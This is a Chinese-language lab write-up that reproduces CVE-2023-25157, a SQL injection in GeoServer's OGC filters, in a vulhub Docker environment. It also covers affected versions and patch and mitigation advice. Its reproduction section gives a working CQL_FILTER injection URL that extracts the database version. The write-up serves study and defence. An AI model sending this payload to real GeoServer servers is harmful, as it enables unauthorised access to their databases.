CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现
前言
本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!
一.GeoServer简介
GeoServer 是用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案,用于分发来自各种来源(如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集)的地理空间数据。
二.漏洞简述
在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。
三.漏洞原理
由于系统未对用户输入进行过滤,远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析,从而实现SQL注入,成功利用此漏洞可获取敏感信息,甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中,则未使用外置数据库的场景不受此漏洞影响。
四.影响版本
GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2
五.环境搭建
在kali的docker中搭建vulhub进行漏洞复现
clone项目:
sudo git clone https://github.com/vulhub/vulhub.git
在/geoserver/CVE-2023-25157目录,用下面的命令下载并启动:
sudo docker-compose up -d
搞定,查看环境:
sudo docker-compose ps
看到端口,这里是8080。
在浏览器上访问http://your-ip:8080/geoserver
进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:
此时复现的系统版本为2.22.1
六.漏洞复现
1.利用前提
首先,在利用此漏洞之前,您必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储:
工作区名称: vulhub
数据存储名称: pg
要素类型(表)名称: example
要素类型的属性之一: name
2.构造POC
通过以下简单 URL 利用服务器:
POC
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
3.利用构造的POC发包
我们发现,通过SQL注入从GeoServer检索到其数据库为PostgreSQL且版本为14.9
七.修复建议
目前官方已发布新版本修复了该漏洞,可下载最新版本进行升级。
https://github.com/geoserver/geoserver/releases
缓解措施
-
禁用 PostGIS数据存储的encode函数。
-
启用 PostGIS 数据存储的preparedStatements设置。
八.参考
https://vulhub.org/#/environments/geoserver/CVE-2023-25157/
https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158